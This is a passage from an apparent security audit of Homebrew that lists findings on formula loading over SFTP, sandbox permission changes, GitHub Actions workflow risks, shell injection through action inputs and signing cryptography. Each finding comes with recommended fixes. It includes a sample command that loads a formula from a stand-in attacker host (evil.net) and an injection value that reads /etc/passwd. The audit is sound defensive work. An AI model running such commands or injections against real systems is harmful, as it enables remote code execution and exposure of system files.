Run sudo -k whenever a third-party (i.e., outside of Homebrew core) formula definition file is about to be read, and in general whenever untrusted code is about to be executed.

13. Formula loading through SFTP, SCP, and other protocols	
Severity: **Medium**	Difficulty: **Low**
Type: Access Controls	Finding ID: TOB-BREW-13
Target: `brew/Library/Homebrew/formulary.rb`	

Description

Homebrew allows loading of formulae by path or by `file://` URL, but explicitly forbids arbitrary loading via other protocols (such as HTTP/HTTPS and FTP):

```
def load_file(flags:, ignore_errors:)
  match =
url.match(%r{githubusercontent.com/[\w-]+/[\w-]+/[a-f0-9]{40}(?:/Formula)?/(?<name>[
\w+-.@]+).rb})
  if match
    raise UnsupportedInstallationMethod,
          "Installation of #{match[:name]} from a GitHub commit URL is unsupported!
" \
          "`brew extract #{match[:name]}` to a stable tap on GitHub instead."
  elsif url.match?(%r{^(https?|ftp)://})
    raise UnsupportedInstallationMethod,
          "Non-checksummed download of #{name} formula file from an arbitrary URL is
unsupported! " \
          "`brew extract` or `brew create` and `brew tap-new` to create a formula
file in a tap " \
          "on GitHub instead."
```

Figure 13.1: Restrictions on downloads of formulae from arbitrary URLs

However, Homebrew's current checks are limited to HTTP(s) and FTP, while `curl` (the underlying download handler) is typically built with support for additional protocols, including SFTP, SCP, IMAP, and FTPS. Consequently, an attacker is able to induce Homebrew into loading a remotely specified formula (and executing its contents) via a URL for one of these protocols:

```
brew install sftp://evil.net/~/malicious.rb
```

Figure 13.2: Installation from an SFTP URL

Exploit Scenario

An attacker may use this remote loading vector as a pivoting technique: there may be situations where Homebrew assumes that the arguments to `brew install` (and similar commands) all represent locally installed formulae that are trusted by the user, when in

reality an attacker may be able to introduce a remote formula that gets loaded and executed unexpectedly.

Recommendations

We recommend that Homebrew perform formula argument sanitization through a "deny-by-default" strategy, i.e. rejecting anything that is not an ordinary formula name, local path, or `file://` URL by default, rather than attempting to enumerate specific protocols to reject.

14. Sandbox allows changing permissions for important directories

Severity: **Medium**	Difficulty: **Low**
Type: Access Controls	Finding ID: TOB-BREW-14
Target: `brew/Library/Homebrew/sandbox.rb`	

Description
The sandbox allows a formula build, post-install, and test step to change the permissions of the `brew` cache directory.

```
class ChmodTest < Formula
  desc ""
  homepage ""
  url "https://ftp.gnu.org/gnu/hello/hello-2.12.1.tar.gz"
  version "0.0.0"
  sha256 "8d99142afd92576f30b0cd7cb42a8dc6809998bc5d607d88761f512e26c7db20"
  license "MIT"

  def install
    system "chmod", "ug-w", "/Users/user/Library/Caches/Homebrew"
    # system "chmod", "777", "/Users/user/test_file" # this gets blocked
  end

  test do
    system "false"
  end
end
```

Figure 14.1: Sample formula that changes directory permissions

Exploit Scenario
Given the ability to add or remove permissions in unexpected `brew` directories, a formula either makes files or directories too permissive or not permissive enough, thus preventing files from being read, written, created, or deleted.

Recommendations
Homebrew should use the sandbox to ensure that formulas do not change the permissions of unexpected files or directories, especially directories important to `brew`. This is governed by the `file-write-mode` sandbox operation.

15. Homebrew supports only end-of-life versions of Ruby	
Severity: **Informational**	Difficulty: **Undetermined**
Type: Patching	Finding ID: TOB-BREW-15
Target: All of Homebrew	

Description
Homebrew currently expects to be run under Ruby 2.6, which was declared end-of-life (EOL) by the Ruby maintainers in April 2022. Newer versions of Ruby that have not yet reached EOL are considered unsupported by Homebrew, and are not yet available through homebrew-portable-ruby.

Exploit Scenario
This is a purely informational finding; although unpatched CVEs exist for Ruby 2.6 and other EOL Ruby versions, the Homebrew maintainers do not consider these CVEs relevant to Homebrew's use of Ruby. Homebrew's maintainers have indicated that they intend to upgrade Homebrew to Ruby 3.2, putting them on a version of Ruby that is receiving security updates.

Recommendations
We recommend that Homebrew upgrade to Ruby 3.2.

16. Path traversal during bottling

Severity: **Informational**	Difficulty: **High**
Type: Data Validation	Finding ID: TOB-BREW-16
Target: `brew/Library/Homebrew/dev-cmd/bottle.rb`, `brew/Library/Homebrew/software_spec.rb`	

Description

There is a path traversal during the execution of the `brew bottle` command that allows for the output file to be put into a different directory. However, this is most likely impossible to exploit, since any package trying to exploit this would have an invalid location for the package's keg and thus could not be bottled in the first place.

The following pieces of code are used to decide where to put the output from `brew bottle`:

```
filename = Bottle::Filename.create(formula, bottle_tag.to_sym, rebuild)
local_filename = filename.to_s
bottle_path = Pathname.pwd/filename
```

Figure 16.1: Definition of `bottle_path` (`brew/Library/Homebrew/dev-cmd/bottle.rb:356–358`)

```
sig { returns(String) }
def to_s
  "#{name}--#{version}#{extname}"
end
alias to_str to_s
```

Figure 16.2: Code used in `Bottle::Filename` to calculate `bottle_path` as a string (`brew/Library/Homebrew/software_spec.rb:306–310`)

By maliciously setting the name or version of a package, an attacker could cause the `bottle_path` to contain a path traversal, placing the output file in a different directory than intended.

Recommendations

Short term, remove any special characters from the `name` and `version` before using it when creating the `bottle_path`. Preferably, also disallow formulas from having these special characters in their `version` names in the first place (see TOB-BREW-4).

Long term, audit any uses of user-inputted strings to create paths. Ensure that the input is properly sanitized before being used.

17. FileUtils.rm_rf does not check if files are deleted

Severity: **Undetermined**	Difficulty: **Low**
Type: Error Handling	Finding ID: TOB-BREW-17
Target: `homebrew-test-bot/lib/tests/formulae.rb`, throughout the `brew` codebase	

Description

When using `FileUtils.rm_rf`, Ruby masks all errors, not just "file not found" errors, which can be surprising. This can mask issues that prevent the file or directory from being deleted.

```
# Removes the entry given by +path+,
# which should be the entry for a regular file, a symbolic link,
# or a directory.
#
# Argument +path+
# should be {interpretable as a path}[rdoc-ref:FileUtils@Path+Arguments].
#
# Optional argument +force+ specifies whether to ignore
# raised exceptions of StandardError and its descendants.
#
# Related: FileUtils.remove_entry_secure.
#
def remove_entry(path, force = false)
  Entry_.new(path).postorder_traverse do |ent|
    begin
      ent.remove
    rescue
      raise unless force
    end
  end
rescue
  raise unless force
end
module_function :remove_entry
```

Figure 17.1: Ruby implementation of `remove_entry`

A number of places in the code are worth double checking to ensure that ignoring all errors related to deletion is intentional. Figure 17.2 shows some examples.

```
def cleanup_bottle_etc_var(formula)
  bottle_prefix = formula.opt_prefix/".bottle"
  # Nuke etc/var to have them be clean to detect bottle etc/var
  # file additions.
  Pathname.glob("#{bottle_prefix}/{etc,var}/**/*").each do |bottle_path|
    prefix_path = bottle_path.sub(bottle_prefix, HOMEBREW_PREFIX)
    FileUtils.rm_rf prefix_path
  end
end

def verify_local_bottles
  with_env(HOMEBREW_DISABLE_LOAD_FORMULA: "1") do
…
    # Delete these files so we don't end up uploading them.
    files_to_delete = mismatched_checksums.keys + unexpected_bottles
    files_to_delete += files_to_delete.select(&:symlink?).map(&:realpath)
    FileUtils.rm_rf files_to_delete

    test "false" # ensure that `test-bot` exits with an error.

    false
  end
end
```

Figure 17.2: `cleanup_bottle_etc_var` and `verify_local_bottles` found in `homebrew-test-bot/lib/tests/formulae.rb`

Exploit Scenario

Code that assumes the absence of specific files or directories may have that assumption violated. An attacker can potentially induce this issue using TOB-BREW-14, which allows formulas to change the permissions of certain `brew` directories.

Recommendations

Short term, we recommend auditing all usages of `FileUtils.rm_rf` to ensure that it is safe to continue if the file or directory deletion does not succeed in removing the expected items.

Long term, we recommend creating a helper that ignores `ENOENT` but raises on other potential errors that may occur when deleting files or directories.

18. Use of pull_request_target in GitHub Actions workflows

Severity: **Medium**	Difficulty: **Medium**
Type: Access Controls	Finding ID: TOB-BREW-18
Target: `brew/.github/workflows/vendor-gems.yml`, `homebrew-actions/.github/workflows/vendor-node-modules.yml`	

Description

The `vendor-gems` and `vendor-node-modules` workflows both declare `pull_request_target` as a trigger, allowing third-party pull requests to run code within the context of the targeted (i.e., upstream) repository:

```
name: Vendor Gems

on:
  pull_request:
    paths:
      - Library/Homebrew/dev-cmd/vendor-gems.rb
      - Library/Homebrew/Gemfile*
  push:
    paths:
      - .github/workflows/vendor-gems.yml
    branches-ignore:
      - master
  pull_request_target:
  workflow_dispatch:
    inputs:
      pull_request:
        description: Pull request number
        required: true
```

Figure 18.1: Workflow triggers for `vendor-gems.yml`

```
name: Vendor node_modules

on:
  pull_request_target:
    types:
      - labeled
  workflow_dispatch:
    inputs:
      pull_request:
        description: Pull request number
        required: true
```

Figure 18.2: Workflow triggers for `vendor-node-modules.yml`

Because `pull_request_target` allows arbitrary third-party PRs to run arbitrary code in the context of the target repository, it is considered dangerous and generally discouraged by GitHub. GitHub particularly cautions against the use of `pull_request_target` in any context where an attacker may be able to induce `npm install` or a similar vector for arbitrary code execution, which is the primary purpose for both `vendor-gems.yml` and `vendor-node-modules.yml`.

Both workflows contain partial mitigations against the risks of `pull_request_target`. `vendor-gems.yml` appears to ignore the event unless it comes from an ostensibly trusted user (`dependabot[bot]`, indicating GitHub's Dependabot):

```
jobs:
  vendor-gems:
    if: >
      github.repository_owner == 'Homebrew' && (
        github.event_name == 'workflow_dispatch' ||
        github.event_name == 'pull_request' ||
        github.event_name == 'push' || (
          github.event.pull_request.user.login == 'dependabot[bot]' &&
          contains(github.event.pull_request.title, '/Library/Homebrew')
        )
      )
```

Figure 18.3: Event filtering in `vendor-gems.yml`

`vendor-node-modules.yml` uses the `labeled` sub-filter to restrict the workflow to only pull requests that have been explicitly labeled with a "safe" label by a reviewer. Regardless, both workflows run arbitrary code via package management steps, meaning that a malicious or compromised package may be able to run arbitrary code in each workflow's respective repository (including access to repository secrets and other sensitive materials).

Exploit Scenario

Scenario 1: A compromised RubyGem or Node package inspects its running environment, determines that it is executing in the context of a `pull_request_target`, and exfiltrates environment variables or other secrets (or potentially runs code in the context of the trusted repository, establishing persistence).

Scenario 2: The `labeled` sub-filter for `pull_request_target` is subject to race conditions, allowing an attacker to push new changes after a workflow has been labeled (indicating trust and approval) but has not yet been picked up by a workflow runner.

Recommendations

Short term, we recommend that the Homebrew maintainers conduct a review of these workflows and determine what, if any, further filters and restrictions can be applied to their `pull_request_target` triggers. In particular, we recommend that both be fully restricted

to `dependabot[bot]` or similar trusted account identities, that both enforce labeling, and that neither exposes unnecessary permissions or secrets.

Long term, we recommend that Homebrew refactor these workflows to avoid `pull_request_target` entirely. In particular, we recommend that Homebrew consider automation flows that use only safer triggers like `pull_request`, or that workflows use a comment-based flow to enable trusted users to trigger modifications to PRs.

19. Use of unpinned third-party workflow

Severity: **Low**	Difficulty: **High**
Type: Patching	Finding ID: TOB-BREW-19
Target: Workflows throughout `Homebrew/brew`, `Homebrew/formulae.brew.sh`, `Homebrew/homebrew-test-bot`, and `Homebrew/homebrew-actions`	

Description

Workflows throughout the Homebrew repositories make direct use of the third-party `ruby/setup-ruby@v1` workflow. The following example occurs in `review-cask-pr.yml`:

```
- name: Set up Ruby
  uses: ruby/setup-ruby@v1
  with:
    ruby-version: '2.6'
```

Figure 19.1: Use of `ruby/setup-ruby@v1` in `review-cask-pr.yml`

Git tags are malleable. This means that, while `ruby/setup-ruby` is pinned to `v1`, the upstream may silently change the reference pointed to by `v1`. This can include malicious re-tags, in which case Homebrew's various dependent workflows will silently update to the malicious workflow.

GitHub's security hardening guidelines for third-party actions encourage developers to pin third-party actions to a full-length commit hash. Generally excluded from this is "official" actions under the `actions` org; however, `setup-ruby` is not an "official" action.

Specifically affected workflows include:

- `homebrew-actions/.github/workflows/review-cask-pr.yml`
- `formulae.brew.sh/.github/workflows/scheduled.yml`
- `formulae.brew.sh/.github/workflows/tests.yml`
- `brew/.github/workflows/docs.yml`
- `homebrew-test-bot/.github/workflows/tests.yml`

Exploit Scenario

An attacker (or compromised maintainer) may silently overwrite the `v1` tag on `ruby/setup-ruby` with a malicious version of the action, causing a large number of security-sensitive Homebrew workflows to run malicious code.

Recommendations

Short term, we recommend that Homebrew replace the current v1 tag on each use of `ruby/setup-ruby` with a full-length commit hash corresponding to the revision that each workflow is intended to use.

Longer term, we recommend that Homebrew leverage Dependabot's support for GitHub Actions to keep these hashes up to date (complemented by maintainer reviews).

20. Unpinned dependencies in formulae.brew.sh

Severity: **Medium**	Difficulty: **Medium**
Type: Patching	Finding ID: TOB-BREW-20
Target: `formulae.brew.sh/Gemfile`	

Description

`formulae.brew.sh` is rendered by Jekyll, and specifies its dependencies in a top-level `Gemfile`:

```
gem "faraday-retry"
gem "jekyll"
gem "jekyll-redirect-from"
gem "jekyll-remote-theme"
gem "jekyll-seo-tag"
gem "jekyll-sitemap"
gem "rake"
```

Figure 20.1: Excerpted dependencies in `formulae.brew.sh`'s `Gemfile`

Notably, all current dependencies for the site's build are currently unpinned. Combined with the absence of a `Gemfile.lock`, this means that every re-build of the site potentially installs different (and new) versions of each dependency.

Prior to `formulae.brew.sh`'s hosting of Homebrew's JSON formula API, the site's security profile was minimal. However, now that `formulae.brew.sh` serves as the source of truth for installable formulae, its security profile is substantial. Consequently, all dependencies used to build the site should be fully pinned to minimize the risk of downstream compromise or package takeover.

Exploit Scenario

An attacker who manages to take over or compromise one of `formulae.brew.sh`'s dependencies may be able to execute arbitrary code during the site's generation and deployment, including:

- Potentially stealing or maliciously using the current JSON API signing key, resulting in a total compromise of bottle integrity and authenticity;
- Defacing or maliciously modifying the Homebrew website (e.g. to include malicious recommendations for users)

Even without access to the signing key, an attacker may be able to perform a "downgrade" attack on Homebrew users by forcing the JSON API to serve an older copy of the signed JSON response, resulting in downstream users installing older, vulnerable copies of formulae.

Recommendations

Short term, we recommend that Homebrew apply version pins to each dependency specified in `formulae.brew.sh`'s `Gemfile`. Additionally, we recommend that Homebrew check an equivalent `Gemfile.lock` into the source tree, providing additional integrity to the version pins.

Long term, we recommend that Homebrew use Dependabot to track updates to the `Gemfile`-specified dependencies and, with maintainer review, perform all updates through Dependabot. We also recommend that Homebrew evaluate each dependency's maintenance status and importance and, if possible, eliminate as many as possible as part of a larger effort to reduce the overall external security profile of `formulae.brew.sh`.

21. Use of RSA for JSON API signing

Severity: **Informational**	Difficulty: **High**
Type: Cryptography	Finding ID: TOB-BREW-21
Target: `formulae.brew.sh/script/sign-json.rb`	

Description
Homebrew currently signs all JSON API responses using an RSA key, using the RSA-PSS signing scheme with SHA512 as the cryptographic digest and mask generation function.

```
signature_data = Base64.urlsafe_encode64(
  PRIVATE_KEY.sign_pss("SHA512", signing_input, salt_length: :digest, mgf1_hash:
"SHA512")
)
```

Figure 21.1: RSA-PSS signature generation in `sign-json.rb`

Homebrew currently uses a 4096-bit RSA key, and RSA-PSS is a well-studied, strong instantiation of an RSA signing scheme with a formal security proof.

At the same time, RSA is a dangerous cryptosystem that reflects historical constraints, exposes excessive parameters to the key-generating party, and produces larger signatures than corresponding security margins in other cryptosystems.

Exploit Scenario
We conducted a review of Homebrew's current signing key and found that it uses a reasonable public exponent ($e = 65537$) and has a substantial security margin (4096 bits, equivalent to greater than 128 bits of symmetric security). Combined with Homebrew's use of RSA-PSS, we believe that the *current* use of RSA does not represent a substantial risk to Homebrew's JSON API signatures. As such, this is a purely informational finding.

Recommendations
We recommend no short or medium-term actions.

Long term, we recommend that Homebrew's next key rotation replace RSA and RSA-PSS with an ECC key and ECDSA (or EdDSA, if client support permits). ECC keys and signatures are substantially smaller than their RSA equivalents with comparable security margins and have fewer user-controlled parameters.

22. Bottles beginning "-" can lead to unintended options getting passed to rm

Severity: **Informational**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-BREW-22
Target: `homebrew-test-bot/.github/workflows/tests.yml#L127`	

Description
If a bottle contains a `-`, this may lead to unintended options getting passed to `rm`.

```
- run: rm -rvf *.bottle*.{json,tar.gz}
```

Figure 22.1: Potentially buggy workflow

Exploit Scenario
This is very unlikely to be exploitable but may produce some surprising behavior when combined with TOB-BREW-4.

Recommendations
We recommend changing the workflow to use the following.

```
- run: rm -rvf -- *.bottle*.{json,tar.gz}
```

Figure 22.2: A possible solution to the buggy workflow

We also recommend running actionlint on the other repos besides just Homebrew/brew as noted in appendix C.

23. Code injection through inputs in multiple actions

Severity: **Medium**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-BREW-23
Target: Multiple actions defined in `Homebrew/homebrew-actions`	

Description

`Homebrew/homebrew-actions` contains a wide variety of utility actions used throughout the Homebrew project. Many of these actions have configurable `inputs`, allowing their calling workflows and users to supply values/relevant pieces of state.

In many cases, these `inputs` are treated as variables, and expanded directly into shell or Ruby expressions using GitHub Actions' `${{ .. }}` expansion syntax:

```
steps:
  - run: brew bump --open-pr --formulae ${{ inputs.formulae }}
    if: inputs.formulae != ''
    shell: sh
    env:
      HOMEBREW_DEVELOPER: "1"
      HOMEBREW_GITHUB_API_TOKEN: ${{inputs.token}}
```

Figure 23.1: An example of an input expansion in `homebrew-actions/bump-packages`

However, performing blind expansions of potentially user-controlled inputs like this is dangerous, as GitHub's `${{ … }}` expansion syntax performs no quoting or escaping of the expanded value.

Consequently, an attacker may leverage an action input to perform a shell injection: `inputs.formulae` may be contrived to contain `foo; cat /etc/passwd`, resulting in `brew bump --open-pr --formulae foo; cat /etc/passwd` being run by the surrounding workflow.

This pattern appears widely in the actions defined under `homebrew-actions`. The following (not guaranteed to be exhaustive) list of actions contains at least one potentially user-controlled code injection through `inputs`:

- `bump-formulae`
- `bump-packages`
- `count-bottles`
- `failures-summary-and-bottle-result`
- `find-related-workflow-run-id`

- `pre-build`
- `setup-commit-signing`

The impact of these varies by action and by each action's workflow usage, including relevant workflow triggers. In the worst-case scenario, an action may be used by a workflow that takes entirely PR-controlled inputs, allowing an untrusted PR to make changes to the workflow's behavior surreptitiously.

Exploit Scenario

Depending on how these actions are applied to their respective workflows, an attacker may be able to execute arbitrary shell or Ruby code in the context of a workflow step that is otherwise constrained to an expected set of operations. These expansions may also allow a maintainer with limited privileges (e.g., the ability to manually dispatch some workflows) to pivot to greater privileges by injecting arbitrary code into those workflows.

Recommendations

Generally speaking, any `${{ … }}` expansion in a shell or other executable context can be rewritten into an injection-free form through the use of environment variables.

For example, the following:

```
- run: ./count.sh '${{ inputs.working-directory }}' '${{ inputs.debug }}'
  working-directory: ${{ github.action_path }}
  shell: bash
  id: count
```

Figure 23.2: Two potentially input unsafe expansions

Could be rewritten as:

```
- run: ./count.sh “${INPUT_WORKING_DIRECTORY}” “${INPUT_DEBUG}”
  working-directory: ${{ github.action_path }}
  shell: bash
  id: count
  env:
    INPUT_WORKING_DIRECTORY: “${{ inputs.working-directory }}”
    INPUT_DEBUG: “${{ inputs.debug }}”
```

Figure 23.3: Unsafe expansions rewritten to use environment variables

24. Use of PGP for commit signing

Severity: **Informational**	Difficulty: **Undetermined**
Type: Cryptography	Finding ID: TOB-BREW-24
Target: `homebrew-actions/setup-commit-signing`	

Description

The current `setup-commit-signing` action uses a PGP key:

```
git config --global user.signingkey $GPG_KEY_ID
git config --global commit.gpgsign true
```

Figure 24.1: PGP key configuration in `setup-commit-signing`

PGP is a generally dated and insecure cryptographic ecosystem: while individual applications of PGP can be secure, its overall complexity, insecure defaults, and "kitchen sink" design is generally a poor fit for modern applications, including digital signatures on Git commits.

Git has supported commit signing with SSH keys since Git 2.34 (released in 2021), and GitHub has supported SSH commit verification since 2022. This allows users to fully replace their PGP signing key with an SSH signing key, which in turn provides more modern defaults in a smaller overall cryptographic package (meaning a reduced attack surface).

Recommendations

We make no immediate or medium-term recommendations for this finding.

In the long term, we recommend that Homebrew consider replacing its current commit signing key with an SSH-based signing key. In particular, we recommend that Homebrew use an SSH-based Ed25519 key, given its widespread support in both the SSH and Git ecosystems.

25. Unnecessary domain separation between signing key and key ID

Severity: **Informational**	Difficulty: **Undetermined**
Type: Cryptography	Finding ID: TOB-BREW-25
Target: `brew/Library/Homebrew/api.rb`	

Description

Homebrew's JSON API includes JSON Web Signature-formatted signatures. These signatures include (unauthenticated) metadata designed to assist the verifying party, including a key identifier intended to accelerate lookup when multiple public keys are being considered.

In Homebrew's case, the current one and only signing key is identified by the `homebrew-1` identifier, which is matched against during signature verification:

```
homebrew_signature = signatures&.find { |sig| sig.dig("header", "kid") ==
"homebrew-1" }
```

Figure 25.1: Searching for a signature that designates `homebrew-1` as its signing key

The use of a human-readable key identifier (`homebrew-1`) results in domain separation between the signing key and its identifier: nothing positively binds the identifier to the signing key other than shared convention. This *can* (but does not always) become a source of confusion in situations with multiple keys, and *can* (but does not always) allow attackers to substitute older keys or unexpected verification materials.

One typical technique for eliminating this domain separation is to take a strong cryptographic digest of each public key (canonicalized in some standard format, such as the DER encoding of the `subjectPublicKeyInfo` representation) and use that digest as the key identifier. This ensures that a given public key has only one tightly bound identifier.

Recommendations

Preventing domain separation here addresses a theoretical concern; we make no specific short- or medium-term recommendations.

Long-term, we recommend that the Homebrew maintainers consider enforcing that key identifiers are strongly bound to their public keys, e.g. by defining a key's identifier as the SHA-256 digest of the key's DER-encoded `subjectPublicKeyInfo` representation (or any other stable, canonical representation).

A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

Vulnerability Categories	
Category	**Description**
Access Controls	Insufficient authorization or assessment of rights
Auditing and Logging	Insufficient auditing of actions or logging of problems
Authentication	Improper identification of users
Configuration	Misconfigured servers, devices, or software components
Cryptography	A breach of system confidentiality or integrity
Data Exposure	Exposure of sensitive information
Data Validation	Improper reliance on the structure or values of data
Denial of Service	A system failure with an availability impact
Error Reporting	Insecure or insufficient reporting of error conditions
Patching	Use of an outdated software package or library
Session Management	Improper identification of authenticated users
Testing	Insufficient test methodology or test coverage
Timing	Race conditions or other order-of-operations flaws
Undefined Behavior	Undefined behavior triggered within the system

Severity Levels	
Severity	**Description**
Informational	The issue does not pose an immediate risk but is relevant to security best practices.
Undetermined	The extent of the risk was not determined during this engagement.
Low	The risk is small or is not one the client has indicated is important.
Medium	User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.
High	The flaw could affect numerous users and have serious reputational, legal, or financial implications.

Difficulty Levels	
Difficulty	**Description**
Undetermined	The difficulty of exploitation was not determined during this engagement.
Low	The flaw is well known; public tools for its exploitation exist or can be scripted.
Medium	An attacker must write an exploit or will need in-depth knowledge of the system.
High	An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.

B. Code Maturity Categories

The following tables describe the code maturity categories and rating criteria used in this document.

Code Maturity Categories	
Category	**Description**
Arithmetic	The proper use of mathematical operations and semantics
Auditing	The use of event auditing and logging to support monitoring
Authentication / Access Controls	The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system
Complexity Management	The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions
Configuration	The configuration of system components in accordance with best practices
Cryptography and Key Management	The safe use of cryptographic primitives and functions, along with the presence of robust mechanisms for key generation and distribution
Data Handling	The safe handling of user inputs and data processed by the system
Documentation	The presence of comprehensive and readable codebase documentation
Maintenance	The timely maintenance of system components to mitigate risk
Memory Safety and Error Handling	The presence of memory safety and robust error-handling mechanisms
Testing and Verification	The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage

Rating Criteria	
Rating	**Description**
Strong	No issues were found, and the system exceeds industry standards.
Satisfactory	Minor issues were found, but the system is compliant with best practices.
Moderate	Some issues that may affect system safety were found.

Weak	Many issues that affect system safety were found.
Missing	A required component is missing, significantly affecting system safety.
Not Applicable	The category is not applicable to this review.
Not Considered	The category was not considered in this review.
Further Investigation Required	Further investigation is required to reach a meaningful conclusion.

C. Automated Static Analysis

This appendix describes the setup of the automated analysis tools used during this audit.

Though static analysis tools frequently report false positives, they detect certain categories of issues, such as dynamic code execution (e.g. through `eval`), dangerous serialization formats and the use of unsafe APIs, with high precision. We recommend periodically running these static analysis tools and reviewing their findings.

Semgrep

To install Semgrep, we used `pip` by running `python3 -m pip install semgrep`.

To run Semgrep on the codebase, we ran the following command in the root directory of the project (running multiple predefined rules simultaneously by providing multiple `--config` arguments):

```
semgrep --config auto
```

To thoroughly understand the Semgrep tool refer to our Trail of Bits Testing Handbook, where we aimed to streamline the Semgrep use and improve security testing effectiveness. Also, consider doing the following:

- Limit results to error severity only by using the `--severity` ERROR flag.
- Focus first on rules with high confidence and medium- or high-impact metadata.
- Use the SARIF format (by using the `--sarif` Semgrep argument) with the SARIF Viewer for Visual Studio Code extension. This will make it easier to review the analysis results and drill down into specific issues to understand their impact and severity.

Actionlint

To install actionlint, we use `go` by running `go install github.com/rhysd/actionlint/cmd/actionlint@latest`.

To run `actionlint` on the codebase, we ran the following command in the root directory of the project.

```
actionlint
```

`actionlint` was set up on the main `brew` repo but was missing in quite a few of the other repos that were in scope, such as `formulae.brew.sh`, `homebrew-actions`, and `homebrew-test-bot`.

D. Code Quality Recommendations

This appendix contains findings that do not have immediate or obvious security implications, or were initiated but not fully investigated due to time constraints.

1. **Stricter validation and control over the bottle cache**. The bottle cache created as part of a `brew test-bot` life cycle has a variety of vectors for compromise, including dependence on a *potentially* attacker-controllable file (`HOMEBREW_MAINTAINER_JSON`) for permission validation. Similarly, the bottle cache relies heavily on `pull_request_target` with a `labeled` sub-filter to prevent cache poisoning via a tampered workflow, which GitHub considers susceptible to race conditions. Finally, the bottle cache does not detect when a user performs a force-push, potentially enabling surreptitious modifications of the cache that do not reflect any source changes on the current branch. Although we were unable to fully prove out a cache poisoning vector during this engagement, we strongly recommend addressing these potential vectors.

2. **Eliminate hand-rolled shell-quoting implementation**. `brew` contains a hand-rolled implementation of shell-quoting for POSIX-compatible shells, implemented as `sh_quote` under `brew/Library/Homebrew/utils/shell.rb`. This implementation is similar to, but differs slightly from, the implementation provided by Ruby's standard library, under `Shellwords::shellescape`. While we were unable to determine an immediate security implication for this, we recommend reusing the standard library's implementation in the interest of minimizing potential parser and behavioral differentials.

3. **Eliminate malleability in `INSTALL_RECEIPT.json`'s location.** `brew` currently discovers a bottle's embedded `INSTALL_RECEIPT.json` by searching for any nested subdirectory with a file that matches:

```
def receipt_path(bottle_file)
  bottle_file_list(bottle_file).find do |line|
    line =~ %r{.+/.+/INSTALL_RECEIPT.json}
  end
end
```

Figure D.1: Install receipt discovery in `brew/Library/Homebrew/utils/bottles.rb`

   This may allow an attacker with the ability to insert contrived bottles to introduce a phony `INSTALL_RECEIPT.json` at any path that is two directories deep, resulting in subsequent metadata confusion wherever the bottle's `Tab` is loaded. While we were unable to determine an immediate security implication for this, we recommend eliminating this flexibility and ensuring that every bottle contains exactly one `INSTALL_RECEIPT.json` at a specific, expected path.

4. **Define a tap trust policy.** Because taps are trusted to run arbitrary code and arbitrary formulae, expectations about *when* they run arbitrary code are currently murky: a user who performs `brew tap example/example` may or may not expect the tap operation *itself* to be capable of running arbitrary code, of injecting or overriding `brew` subcommands, etc. As an example of this, we found that a third-party tap *may* be able to override internal and "first-party" commands due to `Array#sort` not guaranteeing a stable sort:

```
def self.commands(external: true, aliases: false)
  cmds = internal_commands
  cmds += internal_developer_commands
  cmds += external_commands if external
  cmds += internal_commands_aliases if aliases
  cmds.sort
end
```

Figure D.2: Potentially unstable sort in command collection in `brew/Library/Homebrew/commands.rb`